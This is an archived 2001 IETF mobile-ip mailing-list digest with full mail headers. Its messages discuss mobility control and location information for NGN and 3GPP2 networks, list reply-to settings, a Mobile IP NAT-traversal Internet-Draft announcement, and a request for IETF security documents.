X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA8D5EQO026885
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 05:05:14 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA21013
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 05:05:14 -0800 (PST)
Received: from hoemail1.firewall.lucent.com (hoemail1.lucent.com [192.11.226.161])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA00198
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 06:05:14 -0700 (MST)
Received: from bz0017exch001p.wins.lucent.com (h135-253-94-14.lucent.com [135.253.94.14])
	by hoemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fA8D5Bu02551
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 08:05:12 -0500 (EST)
Received: by BZ0017EXCH001P with Internet Mail Service (5.5.2650.21)
	id <TK897D5W>; Thu, 8 Nov 2001 11:05:00 -0200
Message-ID: <0F103142B6F6D311A80E0008C71BAC29D455FD@BZ3002EXCH001U>
From: "Boaventura, Alberto Magno Silveira (Alberto)"
	 <aboaventura@lucent.com>
To: mobile-ip@sunroof.eng.sun.com,
        "'simple@mailman.dynamicsoft.com'"
	 <simple@mailman.dynamicsoft.com>,
        sip@lists.bell-labs.com,
        "'isc_sipeg@mail.softswitch.org'" <isc_sipeg@mail.softswitch.org>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "Mccann, Peter J (Pete)"
	 <mccap@marconi.ih.lucent.com>,
        "Hiller, Tom (Tom)"
	 <tomhille@ih2mail.ih.lucent.com>,
        "'Gonzalo Camarillo'"
	 <Gonzalo.Camarillo@lmf.ericsson.se>,
        "'huilanlu@lucent.com'"
	 <huilanlu@lucent.com>
Subject: [mobile-ip] Mobility control for NGN environment 
Date: Thu, 8 Nov 2001 11:04:54 -0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Greetings All,

I am asking your assistance in order to clarify or indicate where I can
start my researches about mobility control for NGN environment. I am
considering that will be an interface between SIP Proxy and Home Agent for
Mobile IP context, but I could not find any proper information.  Also, for
location based services immerged in NGN and 3GPP2 architecture, who will
have the mobile location information? HA/FA? And how to retrieve this
location information? Using SIP - Notify Message? Now there are some
operations over IS.41, but I understand that will be used for legacy
context.

Thanks for any return,
Alberto.


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov  8 16:15:33 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08065
	for <mobileip-archive@odin.ietf.org>; Thu, 8 Nov 2001 16:15:32 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA09897;
	Thu, 8 Nov 2001 14:14:22 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA21201;
	Thu, 8 Nov 2001 13:14:26 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA8LDYQO028032
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 8 Nov 2001 13:13:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA8LDYVu028031
	for mobile-ip-dist; Thu, 8 Nov 2001 13:13:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA8LDUQO028024
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 13:13:30 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA24221
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 13:13:15 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA05495
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 14:13:30 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fA8LB6x02054
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 13:11:07 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAH29786;
	Thu, 8 Nov 2001 13:12:36 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA16042; Thu, 8 Nov 2001 13:13:11 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15338.62823.759522.984624@thomasm-u1.cisco.com>
Date: Thu, 8 Nov 2001 13:13:11 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Mobility control for NGN environment
In-Reply-To: <3BEAF2E9.BA58A1C4@lucent.com>
References: <0F103142B6F6D311A80E0008C71BAC29D455FD@BZ3002EXCH001U>
	<3BEAF2E9.BA58A1C4@lucent.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

[oops deleted]

Can we pretty please have the reply-to set to
author again?

	Mike


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov  8 19:46:56 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12215
	for <mobileip-archive@odin.ietf.org>; Thu, 8 Nov 2001 19:46:56 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA25978;
	Thu, 8 Nov 2001 13:05:37 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA18758;
	Thu, 8 Nov 2001 13:05:15 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA8L2eQO027916
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 8 Nov 2001 13:02:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA8L2eeu027915
	for mobile-ip-dist; Thu, 8 Nov 2001 13:02:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA8L2bQO027908
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 13:02:37 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA21963
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 13:02:38 -0800 (PST)
Received: from hoemail2.firewall.lucent.com (hoemail2.lucent.com [192.11.226.163])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA27542
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 14:02:41 -0700 (MST)
Received: from nwmail.wh.lucent.com (h135-5-40-100.lucent.com [135.5.40.100])
	by hoemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fA8L2ZV12947
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 8 Nov 2001 16:02:35 -0500 (EST)
Received: by nwmail.wh.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id QAA24864; Thu, 8 Nov 2001 16:02:33 -0500 (EST)
Received: from lucent.com by nwmail.wh.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id QAA24860; Thu, 8 Nov 2001 16:02:32 -0500 (EST)
Message-ID: <3BEAF2E9.BA58A1C4@lucent.com>
Date: Thu, 08 Nov 2001 16:02:33 -0500
From: Erik Anderlind <eanderlind@Lucent.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Mobility control for NGN environment
References: <0F103142B6F6D311A80E0008C71BAC29D455FD@BZ3002EXCH001U>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Alberto,
Perhaps you should have consulted internal Lucent lists before 
broadcasting this to the world. There are many people in Lucent 
working these issues - this looked very stupid.

Talk to Igor Faynberg.
...Erik


"Boaventura, Alberto Magno Silveira (Alberto)" wrote:
> 
> Greetings All,
> 
> I am asking your assistance in order to clarify or indicate where I can
> start my researches about mobility control for NGN environment. I am
> considering that will be an interface between SIP Proxy and Home Agent for
> Mobile IP context, but I could not find any proper information.  Also, for
> location based services immerged in NGN and 3GPP2 architecture, who will
> have the mobile location information? HA/FA? And how to retrieve this
> location information? Using SIP - Notify Message? Now there are some
> operations over IS.41, but I understand that will be used for legacy
> context.
> 
> Thanks for any return,
> Alberto.


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  9 10:31:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15470
	for <mobileip-archive@lists.ietf.org>; Fri, 9 Nov 2001 10:31:36 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA11649;
	Fri, 9 Nov 2001 07:30:09 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA13740;
	Fri, 9 Nov 2001 07:29:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9FSnQO029508
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 9 Nov 2001 07:28:49 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA9FSnB7029507
	for mobile-ip-dist; Fri, 9 Nov 2001 07:28:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9FSiQO029500
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 07:28:45 -0800 (PST)
Received: from lillen (lillen [129.157.212.23])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fA9A7Xq09863;
	Fri, 9 Nov 2001 11:07:33 +0100 (MET)
Date: Fri, 9 Nov 2001 11:07:04 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Mobility control for NGN environment
To: mat@cisco.com
Cc: mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <15338.62823.759522.984624@thomasm-u1.cisco.com>
Message-ID: <Roam.SIMC.2.0.6.1005300424.13869.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> [oops deleted]
> 
> Can we pretty please have the reply-to set to
> author again?

I think you meant "have majordomo not add a reply-to field to the
messages".

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  9 12:00:20 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA18280
	for <mobileip-archive@odin.ietf.org>; Fri, 9 Nov 2001 12:00:20 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA22729;
	Fri, 9 Nov 2001 08:58:16 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA00083;
	Fri, 9 Nov 2001 08:52:53 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9GpgQO000389
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 9 Nov 2001 08:51:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA9Gpg1h000388
	for mobile-ip-dist; Fri, 9 Nov 2001 08:51:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9GpcQO000381
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 08:51:38 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA10531
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 04:10:35 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA21198
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 04:10:34 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07359;
	Fri, 9 Nov 2001 07:10:32 -0500 (EST)
Message-Id: <200111091210.HAA07359@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt
Date: Fri, 09 Nov 2001 07:10:32 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Mobile IP NAT/NAPT Traversal using UDP Tunnelling
	Author(s)	: O. Levkowetz, S. Vaarala
	Filename	: draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt
	Pages		: 23
	Date		: 08-Nov-01
	
Mobile IP's datagram tunnelling is incompatible with Network Address
Translation (NAT).  This document presents extensions to the Mobile
IP protocol and a tunnelling method which permits mobile nodes using
Mobile IP to operate in private address networks which are separated
from the public internet by NAT devices.  The NAT traversal is based
on using the Mobile IP Home Agent UDP port for encapsulated data
traffic.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011108151528.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011108151528.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  9 12:06:34 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA18745
	for <mobileip-archive@odin.ietf.org>; Fri, 9 Nov 2001 12:06:34 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA25549;
	Fri, 9 Nov 2001 09:03:33 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA00801;
	Fri, 9 Nov 2001 08:55:42 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9GstQO000474
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 9 Nov 2001 08:54:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA9Gst0F000473
	for mobile-ip-dist; Fri, 9 Nov 2001 08:54:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9GsqQO000466
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 08:54:52 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA27171
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 08:54:36 -0800 (PST)
Received: from idcpa4.pa.interdigital.com ([12.32.197.142])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA04473
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 09:54:56 -0700 (MST)
Received: by idcpa4.pa.interdigital.com with Internet Mail Service (5.5.2653.19)
	id <RN09Z6AB>; Fri, 9 Nov 2001 11:53:45 -0500
Message-ID: <A1170612471BD21185B90008C7FA0A0D01F1FAC5@idcpa4.pa.interdigital.com>
From: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
To: seamoby@cdma-2000.org,
        "'mobile-ip@sunroof.eng.sun.com'"
	 <mobile-ip@sunroof.eng.sun.com>,
        "'ipsec@lists.tislabs.com'"
	 <ipsec@lists.tislabs.com>,
        "'aaa-wg@merit.edu'" <aaa-wg@merit.edu>
Cc: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
Subject: [mobile-ip] [seamoby] Security tutorial
Date: Fri, 9 Nov 2001 11:53:43 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Is there a security tutorial document published by the IETF, i.e. pulished
as an Informational RFC?
I am also interested in the key IETF documents on security, such as
encryption, firewall, AAA, RADIUS and DIAMETER, etc. 
I was hoping that there is a document published by the IETF, that has
pointers to thsese documents as well.

I would be grateful if someone could provide me with this information.

(Please copy me an e-mail directly, because I'm not currently subscribed to
some of these lists).

-Sharif.



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  9 16:04:13 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27455
	for <mobileip-archive@odin.ietf.org>; Fri, 9 Nov 2001 16:04:11 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA22223;
	Fri, 9 Nov 2001 14:02:24 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA21091;
	Fri, 9 Nov 2001 13:02:26 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9L0GQO001453
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 9 Nov 2001 13:00:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA9L0Gn7001452
	for mobile-ip-dist; Fri, 9 Nov 2001 13:00:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA9L0BQO001445
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 13:00:11 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA22186
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 12:59:56 -0800 (PST)
Received: from smtpgw6.sprintspectrum.com (smtpgw6.sprintspectrum.com [207.40.188.14])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA14747
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 13:00:12 -0800 (PST)
Received: from pkcex003.sprintspectrum.com (pkcex003.sprintspectrum.com [208.10.75.138])
	by smtpgw6.sprintspectrum.com (8.11.2/8.11.3) with ESMTP id fA9L0Bs06541;
	Fri, 9 Nov 2001 15:00:11 -0600 (CST)
Received: by pkcex003.sprintspectrum.com with Internet Mail Service (5.5.2654.89)
	id <WRP2B67B>; Fri, 9 Nov 2001 15:00:11 -0600
Message-ID: <2D11BCC7FFD8D3118FD70000D1ECDC88066E7CA2@pkcexv018.sprintspectrum.com>
From: "Lipford, Mark" <MLipfo01@sprintspectrum.com>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>,
        "'simple@mailman.dynamicsoft.com'" <simple@mailman.dynamicsoft.com>,
        sip@lists.bell-labs.com,
        "'isc_sipeg@mail.softswitch.org'"
	 <isc_sipeg@mail.softswitch.org>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "Mccann, Peter J (Pete)"
	 <mccap@marconi.ih.lucent.com>,
        "Hiller, Tom (Tom)"
	 <tomhille@ih2mail.ih.lucent.com>,
        "'Gonzalo Camarillo'"
	 <Gonzalo.Camarillo@lmf.ericsson.se>,
        "'huilanlu@lucent.com'"
	 <huilanlu@lucent.com>
Subject: RE: [mobile-ip] Mobility control for NGN environment 
Date: Fri, 9 Nov 2001 15:00:10 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2654.89)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Alberto,

The specifics for NGN (All IP) in 3GPP2 are still being developed.
Specifically on Location, there are several different types of location
information (Access location - which cell site, macro access - which
network/domain, and geo-location - x/y/z coordinates) that will need to be
managed and "who" has that information may vary.

		-----Original Message-----
		From:	Boaventura, Alberto Magno Silveira (Alberto)
[mailto:aboaventura@lucent.com]
		Sent:	Thursday, November 08, 2001 7:05 AM
		To:	mobile-ip@sunroof.eng.sun.com;
'simple@mailman.dynamicsoft.com'; sip@lists.bell-labs.com;
'isc_sipeg@mail.softswitch.org'
